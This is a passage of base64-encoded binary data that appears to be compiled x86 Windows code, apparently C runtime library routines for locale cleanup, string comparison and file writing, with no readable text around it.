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oBjY1E5f//UVD/tSDl//9D/4VA5f///xVI4gMQi/CF9g+EPQQAAGoAjYUs5f//UFaNRfRQi4Uk5f//iwD/NAf/FWzhAxCFwA+ECgQAAIuFQOX//4uNMOX//wPBiYU45f//ObUs5f//D4z2AwAAg70c5f//AA+EzQAAAGoAjYUs5f//UGoBjUX0UIuFJOX//4sAxkX0Df80B/8VbOEDEIXAD4SxAwAAg70s5f//AQ+MsAMAAP+FMOX///+FOOX//+mDAAAAPAF0BDwCdSEPtzMzyYP+Cg+UwYPDAoOFQOX//wKJtUTl//+JjRzl//88AXQEPAJ1Uv+1ROX//+j6bgAAWWY7hUTl//8PhUkDAACDhTjl//8Cg70c5f//AHQpag1YUImFROX//+jNbgAAWWY7hUTl//8PhRwDAAD/hTjl////hTDl//+LRRA5hUDl//8Pgvn9///pCAMAAIsOihP/hTjl//+IVA80iw6JRA846e8CAAAzyYsD9kQ4BIAPhKECAACAvT/l//8AiY1E5f//D4WoAAAAi5005f//OU0QD4b9AgAAi8sz9iuNNOX//42FSOX//ztNEHMmihNDQYmdIOX//4D6CnUL/4Uw5f//xgANQEaIEEBGgf7/EwAActWL8I2FSOX//yvwagCNhSjl//9QVo2FSOX//1CLhSTl//+LAP80B/8VbOEDEIXAD4RDAgAAi4Uo5f//AYU45f//O8YPjDsCAACLwyuFNOX//ztFEA+CbP///+klAgAAgL0/5f//Ag+FzQAAAIudNOX//zlNEA+GSAIAAIOlQOX//wCLyyuNNOX//2oCjYVI5f//XjtNEHNDD7cTA94DzomdIOX//4P6CnUaAbUw5f//ag1bZokYi50g5f//A8YBtUDl//8BtUDl//9miRADxoG9QOX///4TAAByuIvwjYVI5f//K/BqAI2FKOX//1BWjYVI5f//UIuFJOX//4sA/zQH/xVs4QMQhcAPhGkBAACLhSjl//8BhTjl//87xg+MYQEAAIvDK4U05f//O0UQD4JH////6UsBAACLhTTl//+JhSzl//85TRAPhnUBAACLjSzl//+DpUDl//8AK4005f//agKNhUj5//9eO00QczuLlSzl//8PtxIBtSzl//8DzoP6CnUOag1bZokYA8YBtUDl//8BtUDl//9miRADxoG9QOX//6gGAABywDP2VlZoVQ0AAI2N8Ov//1GNjUj5//8rwZkrwtH4UIvBUFZo6f0AAP8VSOIDEIvYO94PhJcAAABqAI2FKOX//1CLwyvGUI2ENf